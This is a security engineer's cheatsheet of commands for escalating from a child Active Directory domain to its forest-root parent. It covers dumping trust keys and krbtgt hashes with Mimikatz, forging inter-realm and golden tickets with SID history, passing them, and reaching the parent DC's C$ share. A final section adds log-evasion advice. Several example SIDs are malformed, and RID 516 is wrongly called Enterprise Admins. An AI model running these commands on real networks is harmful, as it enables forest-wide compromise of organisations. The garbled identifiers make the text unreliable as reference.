Across Domain Trusts cheatsheet

Trusts are relationships between domains or forests which allows users of one domain or forest to access resources in the other domain or forest.

Domains in same forest have an implicit two-way trust with other domains. There is a trust key between the parent and child domains. There are two ways of escalating privileges between two domains of same forest:

  • Krbtgt hash
  • Trust Tickets

Child to Parent using Trust Tickets

  1. Look for [In] trust key from child to parent:
# Invoke-Mimikatz
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName "cyberlab-dc.cyberlab.cybercorp.local"
Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberlab\cybercorp$"'
  1. An inter-realm TGT can be forged:
# Invoke-Mimikatz
Invoke-Mimikatz -Command '"Kerberos::golden /user:[USER] /domain:[CURRENT_DOMAIN_FQDN] /sid:[CURRENT_DOMAIN_SID] /sids:[ENTERPRISE_ADMINS_GROUP_SID] /rc4:[TRUST_KEY_NTLM] /service:krbtgt /target:[PARENT_DOMAIN_FQDN] /ticket:[TICKET_EXPORT_PATH]"'

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:cyberlab.cybercorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-15-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:cybercorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
ParameterOptionalDescription
/userNoUsername to impersonate
/domainNoDomain FQDN
/sidNoSID of the current domain
/sidsNoSID of the enterprise admins group of the parent domain
/rc4NoNTLM (RC4) hash of the trust key account. Use /aes128 and /aes256 for using AES keys
/targetNoTarget server FQDN
/serviceNoTarget service in the parent domain (krbtgt)
/idYesUser RID (default 500)
/groupsYesGroup RID (default 513 512 520 518 519)
/startoffsetYesWhen the ticket is available (default 0 - right now) in minutes. Use negative for a ticket available from past and a larger number for future
/endinYesOptional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes
/renewmaxYesTicket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800
/pttInjects the ticket into the current PowerShell process (no need to save the ticket on disk)
/ticketSaves the ticket to a file for later use
  1. Get a TGS for a service (e.g. CIFS) in the target domain by using the forged trust ticket. Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well:
# asktgs.exe 
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/cybercorp-dc.cybercorp.local
  1. Use the TGS to access the targeted service (may need to use it twice).
# kirbikator.exe
.\kirbikator.exe lsa .\CIFS.cybercorp-dc.cybercorp.local.kirbi
  1. Access the file share on the parent domain DC:
ls \\cybercorp-dc.cybercorp.local\c$

Alternatively, it is possible to use Kekeo to ask for the TGS:

.\Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:CIFS/cybercorp-dc.cybercorp.local /dc:cybercorp-dc.cybercorp.local /ptt

Child to Parent using krbtgt hash

  1. Look for krbtgt hash:
# Invoke-Mimikatz
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName "cyberlab-dc.cyberlab.cybercorp.local"
  1. Generate a Golden Ticket forcing the SID History parameter. We will abuse SID history once again. The mimkatz option “/sids” is forcefully setting the SID History for the Enterprise Admin group for cyberlab.cybercorp.local that is the Forest Enterprise Admin Group:
# Invoke-Mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:[CURRENT_DOMAIN_FQDN] /sid:[CURRENT_DOMAIN_SID] /sids:[ENTERPRISE_ADMINS_GROUP_SID] /krbtgt:[KRBTGT_NTLM_HASH] /ticket:[TICKET_EXPORT_PATH]"'

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:cyberlab.cybercorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-15-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
  1. Pass the ticket to the current session on any machine of the current domain:
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' 
  1. Now, it is possible to access to machine services in the forest root domain:
ls \\cybercorp-dc.cybercorp.local\c$
gwmi -class win32_operatingsystem -ComputerName cybercorp-dc.cybercorp.local

In order to avoid suspicious logs, impersonate Domain Controller account add to the SID History the SIDs of parent Domain Controllers group and Enterprise Domain Controllers group and set the group to 516 (Enterprise Admins group).

GroupSID
Domain ControllersS-1-5-21-[DOMAIN_ID]-516
Enterprise Domain ControllersS-1-5-9
# Invoke-Mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:[DC_NAME]$ /domain:[CURRENT_DOMAIN_FQDN] /sid:[CURRENT_DOMAIN_SID] /groups:516 /sids:[PARENT_DOMAIN_CONTROLLERS_GROUP_SID],[ENTERPRISE_DOMAIN_CONTROLLERS_GROUP_SID] /krbtgt:[KRBTGT_HASH] /ptt"'

Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:cyberlab.cybercorp.local /sid:S-1-5-211874506631-3219952063-538504511 /groups:516 /sids:S-1-521-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'

Giovanni Pecoraro
Giovanni Pecoraro
Senior Security Engineer

My research interests include space systems, cyber security, signal processing and artificial intelligence.